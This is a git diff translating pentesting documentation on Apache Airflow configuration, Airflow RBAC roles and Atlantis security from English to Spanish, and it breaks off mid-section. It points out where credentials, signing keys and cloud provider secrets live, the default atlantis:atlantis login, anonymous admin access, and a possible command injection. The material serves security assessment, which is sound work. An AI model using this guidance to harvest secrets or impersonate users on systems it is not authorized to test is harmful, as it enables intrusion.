[...]
foo = Variable.get("foo")
```
-
-If they are used for example inside a a bash command, you could perform a command injection.
+Si se utilizan, por ejemplo, dentro de un comando bash, podrías realizar una inyección de comandos.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index 5fd8e486b..4e90df4a6 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -1,115 +1,105 @@
-# Airflow Configuration
+# Configuración de Airflow
{{#include ../../banners/hacktricks-training.md}}
-## Configuration File
+## Archivo de Configuración
-**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
+**Apache Airflow** genera un **archivo de configuración** en todas las máquinas de airflow llamado **`airflow.cfg`** en el directorio home del usuario de airflow. Este archivo de configuración contiene información de configuración y **puede contener información interesante y sensible.**
-**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
+**Hay dos formas de acceder a este archivo: Comprometiendo alguna máquina de airflow, o accediendo a la consola web.**
-Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
+Ten en cuenta que los **valores dentro del archivo de configuración** **pueden no ser los utilizados**, ya que puedes sobrescribirlos configurando variables de entorno como `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
-If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
-If you have **access to some machine inside the airflow env**, check the **environment**.
+Si tienes acceso al **archivo de configuración en el servidor web**, puedes verificar la **configuración real en ejecución** en la misma página donde se muestra la configuración.\
+Si tienes **acceso a alguna máquina dentro del entorno de airflow**, verifica el **entorno**.
-Some interesting values to check when reading the config file:
+Algunos valores interesantes para verificar al leer el archivo de configuración:
### \[api]
-- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
-- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
-- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
-- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- - `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- - You can also **create you own authentication** method with python.
-- **`google_key_path`:** Path to the **GCP service account key**
+- **`access_control_allow_headers`**: Esto indica los **encabezados permitidos** para **CORS**
+- **`access_control_allow_methods`**: Esto indica los **métodos permitidos** para **CORS**
+- **`access_control_allow_origins`**: Esto indica los **orígenes permitidos** para **CORS**
+- **`auth_backend`**: [**Según la documentación**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) hay algunas opciones que se pueden configurar para determinar quién puede acceder a la API:
+- `airflow.api.auth.backend.deny_all`: **Por defecto, nadie** puede acceder a la API
+- `airflow.api.auth.backend.default`: **Todos pueden** acceder sin autenticación
+- `airflow.api.auth.backend.kerberos_auth`: Para configurar **autenticación kerberos**
+- `airflow.api.auth.backend.basic_auth`: Para **autenticación básica**
+- `airflow.composer.api.backend.composer_auth`: Utiliza autenticación de compositores (GCP) (de [**aquí**](https://cloud.google.com/composer/docs/access-airflow-api)).
+- `composer_auth_user_registration_role`: Esto indica el **rol** que el **usuario de composer** obtendrá dentro de **airflow** (**Op** por defecto).
+- También puedes **crear tu propio método de autenticación** con python.
+- **`google_key_path`:** Ruta a la **clave de cuenta de servicio de GCP**
### **\[atlas]**
-- **`password`**: Atlas password
-- **`username`**: Atlas username
+- **`password`**: Contraseña de Atlas
+- **`username`**: Nombre de usuario de Atlas
### \[celery]
-- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
-- **`result_backend`**: Postgres url which may contain **credentials**.
-- **`ssl_cacert`**: Path to the cacert
-- **`ssl_cert`**: Path to the cert
-- **`ssl_key`**: Path to the key
+- **`flower_basic_auth`** : Credenciales (_user1:password1,user2:password2_)
+- **`result_backend`**: URL de Postgres que puede contener **credenciales**.
+- **`ssl_cacert`**: Ruta al cacert
+- **`ssl_cert`**: Ruta al cert
+- **`ssl_key`**: Ruta a la clave
### \[core]
-- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
-- **`fernet_key`**: Key to store encrypted variables (symmetric)
-- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
-- **`security`**: What security module to use (for example kerberos)
+- **`dag_discovery_safe_mode`**: Habilitado por defecto. Al descubrir DAGs, ignora cualquier archivo que no contenga las cadenas `DAG` y `airflow`.
+- **`fernet_key`**: Clave para almacenar variables encriptadas (simétrica)
+- **`hide_sensitive_var_conn_fields`**: Habilitado por defecto, oculta información sensible de las conexiones.
+- **`security`**: Qué módulo de seguridad usar (por ejemplo, kerberos)
### \[dask]
-- **`tls_ca`**: Path to ca
-- **`tls_cert`**: Part to the cert
-- **`tls_key`**: Part to the tls key
+- **`tls_ca`**: Ruta a ca
+- **`tls_cert`**: Ruta al cert
+- **`tls_key`**: Ruta a la clave tls
### \[kerberos]
-- **`ccache`**: Path to ccache file
-- **`forwardable`**: Enabled by default
+- **`ccache`**: Ruta al archivo ccache
+- **`forwardable`**: Habilitado por defecto
### \[logging]
-- **`google_key_path`**: Path to GCP JSON creds.
+- **`google_key_path`**: Ruta a las credenciales JSON de GCP.
### \[secrets]
-- **`backend`**: Full class name of secrets backend to enable
-- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
+- **`backend`**: Nombre completo de la clase del backend de secretos a habilitar
+- **`backend_kwargs`**: El parámetro backend_kwargs se carga en un diccionario y se pasa a **init** de la clase del backend de secretos.
### \[smtp]
-- **`smtp_password`**: SMTP password
-- **`smtp_user`**: SMTP user
+- **`smtp_password`**: Contraseña SMTP
+- **`smtp_user`**: Usuario SMTP
### \[webserver]
-- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
-- **`cookie_secure`**: Set **secure flag** on the the session cookie
-- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
-- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
-- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
-- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
-- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
-- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
+- **`cookie_samesite`**: Por defecto es **Lax**, por lo que ya es el valor más débil posible
+- **`cookie_secure`**: Establecer **bandera segura** en la cookie de sesión
+- **`expose_config`**: Por defecto es False, si es verdadero, la **configuración** puede ser **leída** desde la **consola** web
+- **`expose_stacktrace`**: Por defecto es True, mostrará **tracebacks de python** (potencialmente útil para un atacante)
+- **`secret_key`**: Esta es la **clave utilizada por flask para firmar las cookies** (si tienes esto puedes **suplantar a cualquier usuario en Airflow**)
+- **`web_server_ssl_cert`**: **Ruta** al **certificado** **SSL**
+- **`web_server_ssl_key`**: **Ruta** a la **clave** **SSL**
+- **`x_frame_enabled`**: Por defecto es **True**, por lo que por defecto el clickjacking no es posible
-### Web Authentication
-
-By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
+### Autenticación Web
+Por defecto, la **autenticación web** se especifica en el archivo **`webserver_config.py`** y se configura como
```bash
AUTH_TYPE = AUTH_DB
```
-
-Which means that the **authentication is checked against the database**. However, other configurations are possible like
-
+Lo que significa que la **autenticación se verifica contra la base de datos**. Sin embargo, otras configuraciones son posibles como
```bash
AUTH_TYPE = AUTH_OAUTH
```
+Para dejar la **autenticación a servicios de terceros**.
-To leave the **authentication to third party services**.
-
-However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
-
+Sin embargo, también hay una opción para **permitir el acceso a usuarios anónimos**, configurando el siguiente parámetro al **rol deseado**:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 7ff782327..f63fcf371 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,44 +4,40 @@
## RBAC
-(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
+(De la documentación)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow se envía con un **conjunto de roles por defecto**: **Admin**, **User**, **Op**, **Viewer** y **Public**. **Solo los usuarios `Admin`** pueden **configurar/alterar los permisos para otros roles**. Pero no se recomienda que los usuarios `Admin` alteren estos roles predeterminados de ninguna manera, eliminando o agregando permisos a estos roles.
-- **`Admin`** users have all possible permissions.
-- **`Public`** users (anonymous) don’t have any permissions.
-- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
-- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
-- **`Op`** users have `User` permissions plus additional op permissions.
+- **Los usuarios `Admin`** tienen todos los permisos posibles.
+- **Los usuarios `Public`** (anónimos) no tienen ningún permiso.
+- **Los usuarios `Viewer`** tienen permisos limitados de visualización (solo lectura). **No pueden ver la configuración.**
+- **Los usuarios `User`** tienen permisos de `Viewer` más permisos adicionales que les permiten gestionar DAGs un poco. **Pueden ver el archivo de configuración.**
+- **Los usuarios `Op`** tienen permisos de `User` más permisos adicionales de operación.
-Note that **admin** users can **create more roles** with more **granular permissions**.
+Tenga en cuenta que **los usuarios admin** pueden **crear más roles** con más **permisos granulares**.
-Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
+También tenga en cuenta que el único rol predeterminado con **permiso para listar usuarios y roles es Admin, ni siquiera Op** podrá hacer eso.
-### Default Permissions
+### Permisos Predeterminados
-These are the default permissions per default role:
+Estos son los permisos predeterminados por rol predeterminado:
- **Admin**
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
+\[puede eliminar en Conexiones, puede leer en Conexiones, puede editar en Conexiones, puede crear en Conexiones, puede leer en DAGs, puede editar en DAGs, puede eliminar en DAGs, puede leer en Ejecuciones de DAG, puede leer en Instancias de Tarea, puede editar en Instancias de Tarea, puede eliminar en Ejecuciones de DAG, puede crear en Ejecuciones de DAG, puede editar en Ejecuciones de DAG, puede leer en Registros de Auditoría, puede leer en ImportError, puede eliminar en Grupos, puede leer en Grupos, puede editar en Grupos, puede crear en Grupos, puede leer en Proveedores, puede eliminar en Variables, puede leer en Variables, puede editar en Variables, puede crear en Variables, puede leer en XComs, puede leer en Código de DAG, puede leer en Configuraciones, puede leer en Plugins, puede leer en Roles, puede leer en Permisos, puede eliminar en Roles, puede editar en Roles, puede crear en Roles, puede leer en Usuarios, puede crear en Usuarios, puede editar en Usuarios, puede eliminar en Usuarios, puede leer en Dependencias de DAG, puede leer en Trabajos, puede leer en Mi Contraseña, puede editar en Mi Contraseña, puede leer en Mi Perfil, puede editar en Mi Perfil, puede leer en Fallos de SLA, puede leer en Registros de Tarea, puede leer en Sitio Web, acceso al menú en Navegar, acceso al menú en Dependencias de DAG, acceso al menú en Ejecuciones de DAG, acceso al menú en Documentación, acceso al menú en Docs, acceso al menú en Trabajos, acceso al menú en Registros de Auditoría, acceso al menú en Plugins, acceso al menú en Fallos de SLA, acceso al menú en Instancias de Tarea, puede crear en Instancias de Tarea, puede eliminar en Instancias de Tarea, acceso al menú en Admin, acceso al menú en Configuraciones, acceso al menú en Conexiones, acceso al menú en Grupos, acceso al menú en Variables, acceso al menú en XComs, puede eliminar en XComs, puede leer en Reprogramaciones de Tarea, acceso al menú en Reprogramaciones de Tarea, puede leer en Disparadores, acceso al menú en Disparadores, puede leer en Contraseñas, puede editar en Contraseñas, acceso al menú en Listar Usuarios, acceso al menú en Seguridad, acceso al menú en Listar Roles, puede leer en Gráfico de Estadísticas de Usuario, acceso al menú en Estadísticas de Usuario, acceso al menú en Permisos Base, puede leer en Ver Menús, acceso al menú en Vistas/Menús, puede leer en Vistas de Permisos, acceso al menú en Permiso en Vistas/Menús, puede obtener en MenuApi, acceso al menú en Proveedores, puede crear en XComs]
- **Op**
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
+\[puede eliminar en Conexiones, puede leer en Conexiones, puede editar en Conexiones, puede crear en Conexiones, puede leer en DAGs, puede editar en DAGs, puede eliminar en DAGs, puede leer en Ejecuciones de DAG, puede leer en Instancias de Tarea, puede editar en Instancias de Tarea, puede eliminar en Ejecuciones de DAG, puede crear en Ejecuciones de DAG, puede editar en Ejecuciones de DAG, puede leer en Registros de Auditoría, puede leer en ImportError, puede eliminar en Grupos, puede leer en Grupos, puede editar en Grupos, puede crear en Grupos, puede leer en Proveedores, puede eliminar en Variables, puede leer en Variables, puede editar en Variables, puede crear en Variables, puede leer en XComs, puede leer en Código de DAG, puede leer en Configuraciones, puede leer en Plugins, puede leer en Dependencias de DAG, puede leer en Trabajos, puede leer en Mi Contraseña, puede editar en Mi Contraseña, puede leer en Mi Perfil, puede editar en Mi Perfil, puede leer en Fallos de SLA, puede leer en Registros de Tarea, puede leer en Sitio Web, acceso al menú en Navegar, acceso al menú en Dependencias de DAG, acceso al menú en Ejecuciones de DAG, acceso al menú en Documentación, acceso al menú en Docs, acceso al menú en Trabajos, acceso al menú en Registros de Auditoría, acceso al menú en Plugins, acceso al menú en Fallos de SLA, acceso al menú en Instancias de Tarea, puede crear en Instancias de Tarea, puede eliminar en Instancias de Tarea, acceso al menú en Admin, acceso al menú en Configuraciones, acceso al menú en Conexiones, acceso al menú en Grupos, acceso al menú en Variables, acceso al menú en XComs, puede eliminar en XComs]
- **User**
-\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
+\[puede leer en DAGs, puede editar en DAGs, puede eliminar en DAGs, puede leer en Ejecuciones de DAG, puede leer en Instancias de Tarea, puede editar en Instancias de Tarea, puede eliminar en Ejecuciones de DAG, puede crear en Ejecuciones de DAG, puede editar en Ejecuciones de DAG, puede leer en Registros de Auditoría, puede leer en ImportError, puede leer en XComs, puede leer en Código de DAG, puede leer en Plugins, puede leer en Dependencias de DAG, puede leer en Trabajos, puede leer en Mi Contraseña, puede editar en Mi Contraseña, puede leer en Mi Perfil, puede editar en Mi Perfil, puede leer en Fallos de SLA, puede leer en Registros de Tarea, puede leer en Sitio Web, acceso al menú en Navegar, acceso al menú en Dependencias de DAG, acceso al menú en Ejecuciones de DAG, acceso al menú en Documentación, acceso al menú en Docs, acceso al menú en Trabajos, acceso al menú en Registros de Auditoría, acceso al menú en Plugins, acceso al menú en Fallos de SLA, acceso al menú en Instancias de Tarea, puede crear en Instancias de Tarea, puede eliminar en Instancias de Tarea]
- **Viewer**
-\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
+\[puede leer en DAGs, puede leer en Ejecuciones de DAG, puede leer en Instancias de Tarea, puede leer en Registros de Auditoría, puede leer en ImportError, puede leer en XComs, puede leer en Código de DAG, puede leer en Plugins, puede leer en Dependencias de DAG, puede leer en Trabajos, puede leer en Mi Contraseña, puede editar en Mi Contraseña, puede leer en Mi Perfil, puede editar en Mi Perfil, puede leer en Fallos de SLA, puede leer en Registros de Tarea, puede leer en Sitio Web, acceso al menú en Navegar, acceso al menú en Dependencias de DAG, acceso al menú en Ejecuciones de DAG, acceso al menú en Documentación, acceso al menú en Docs, acceso al menú en Trabajos, acceso al menú en Registros de Auditoría, acceso al menú en Plugins, acceso al menú en Fallos de SLA, acceso al menú en Instancias de Tarea]
- **Public**
\[]
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index a4b35140f..4fcefa43d 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -4,109 +4,109 @@
### Basic Information
-Atlantis basically helps you to to run terraform from Pull Requests from your git server.
+Atlantis básicamente te ayuda a ejecutar terraform desde Pull Requests de tu servidor git.
.png>)
### Local Lab
-1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
-2. Create a **personal token** (with repo access) of your **github** user
-3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
- 1. You can access the web page in 127.0.0.1:4141
+1. Ve a la **página de lanzamientos de atlantis** en [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) y **descarga** la que te convenga.
+2. Crea un **token personal** (con acceso a repos) de tu usuario de **github**.
+3. Ejecuta `./atlantis testdrive` y se creará un **repositorio de demostración** que puedes usar para **hablar con atlantis**.
+1. Puedes acceder a la página web en 127.0.0.1:4141.
### Atlantis Access
#### Git Server Credentials
-**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
-However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
-[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
+**Atlantis** soporta varios hosts de git como **Github**, **Gitlab**, **Bitbucket** y **Azure DevOps**.\
+Sin embargo, para acceder a los repos en esas plataformas y realizar acciones, necesita tener algún **acceso privilegiado concedido a ellos** (al menos permisos de escritura).\
+[**Los docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) fomentan crear un usuario en estas plataformas específicamente para Atlantis, pero algunas personas pueden usar cuentas personales.
> [!WARNING]
-> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
+> En cualquier caso, desde la perspectiva de un atacante, la **cuenta de Atlantis** va a ser muy **interesante** **de comprometer**.
#### Webhooks
-Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
+Atlantis utiliza opcionalmente [**secretos de Webhook**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) para validar que los **webhooks** que recibe de tu host Git son **legítimos**.
-One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
+Una forma de confirmar esto sería **permitir que las solicitudes solo provengan de las IPs** de tu host Git, pero una forma más fácil es usar un Secreto de Webhook.
-Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
+Ten en cuenta que a menos que uses un servidor privado de github o bitbucket, necesitarás exponer los endpoints de webhook a Internet.
> [!WARNING]
-> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
+> Atlantis va a estar **exponiendo webhooks** para que el servidor git pueda enviarle información. Desde la perspectiva de un atacante, sería interesante saber **si puedes enviarle mensajes**.
#### Provider Credentials
-[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
+[De los docs:](https://www.runatlantis.io/docs/provider-credentials.html)
-Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
+Atlantis ejecuta Terraform simplemente **ejecutando los comandos `terraform plan` y `apply`** en el servidor **donde está alojado Atlantis**. Al igual que cuando ejecutas Terraform localmente, Atlantis necesita credenciales para tu proveedor específico.
-It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
+Depende de ti cómo [proporcionar credenciales](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) para tu proveedor específico a Atlantis:
-- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
-- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
- - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
-- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
-- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
+- El [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) de Atlantis y el [Módulo AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) tienen sus propios mecanismos para credenciales de proveedor. Lee sus docs.
+- Si estás ejecutando Atlantis en la nube, muchas nubes tienen formas de dar acceso a la API de la nube a aplicaciones que se ejecutan en ellas, por ejemplo:
+- [Roles de AWS EC2](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Busca "EC2 Role")
+- [Cuentas de Servicio de Instancia de GCE](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
+- Muchos usuarios establecen variables de entorno, por ejemplo, `AWS_ACCESS_KEY`, donde se está ejecutando Atlantis.
+- Otros crean los archivos de configuración necesarios, por ejemplo, `~/.aws/credentials`, donde se está ejecutando Atlantis.
+- Usa el [Proveedor HashiCorp Vault](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) para obtener credenciales de proveedor.
> [!WARNING]
-> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
+> El **contenedor** donde **Atlantis** está **ejecutándose** probablemente **contendrá credenciales privilegiadas** para los proveedores (AWS, GCP, Github...) que Atlantis está gestionando a través de Terraform.
#### Web Page
-By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
+Por defecto, Atlantis ejecutará una **página web en el puerto 4141 en localhost**. Esta página solo te permite habilitar/deshabilitar atlantis apply y verificar el estado del plan de los repos y desbloquearlos (no permite modificar cosas, por lo que no es tan útil).
-You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
+Probablemente no la encuentres expuesta a Internet, pero parece que por defecto **no se necesitan credenciales** para acceder a ella (y si las hay, `atlantis`:`atlantis` son las **predeterminadas**).
### Server Configuration
-Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
+La configuración para `atlantis server` puede especificarse a través de flags de línea de comando, variables de entorno, un archivo de configuración o una mezcla de los tres.
-- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
-- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
+- Puedes encontrar [**aquí la lista de flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) soportados por el servidor de Atlantis.
+- Puedes encontrar [**aquí cómo transformar una opción de configuración en una variable de entorno**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
-Values are **chosen in this order**:
+Los valores se **eligen en este orden**:
1. Flags
-2. Environment Variables
-3. Config File
+2. Variables de Entorno
+3. Archivo de Configuración
> [!WARNING]
-> Note that in the configuration you might find interesting values such as **tokens and passwords**.
+> Ten en cuenta que en la configuración podrías encontrar valores interesantes como **tokens y contraseñas**.
#### Repos Configuration
-Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
+Algunas configuraciones afectan **cómo se gestionan los repos**. Sin embargo, es posible que **cada repo requiera configuraciones diferentes**, por lo que hay formas de especificar cada repo. Este es el orden de prioridad:
-1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
- 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
-2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
-3. **Default** values
+1. Archivo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Este archivo se puede usar para especificar cómo atlantis debería tratar el repo. Sin embargo, por defecto algunas claves no se pueden especificar aquí sin algunos flags que lo permitan.
+1. Probablemente requerido ser permitido por flags como `allowed_overrides` o `allow_custom_workflows`.
+2. [**Configuración del lado del servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puedes pasarlo con el flag `--repo-config` y es un yaml que configura nuevos ajustes para cada repo (regexes soportados).
+3. Valores **predeterminados**.
**PR Protections**
-Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
+Atlantis permite indicar si deseas que el **PR** sea **`aprobado`** por alguien más (incluso si eso no está configurado en la protección de rama) y/o ser **`fusionable`** (protecciones de rama aprobadas) **antes de ejecutar apply**. Desde un punto de vista de seguridad, establecer ambas opciones es recomendable.
-In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
+En caso de que `allowed_overrides` sea True, estas configuraciones pueden ser **sobrescritas en cada proyecto por el archivo `/atlantis.yml`**.
**Scripts**
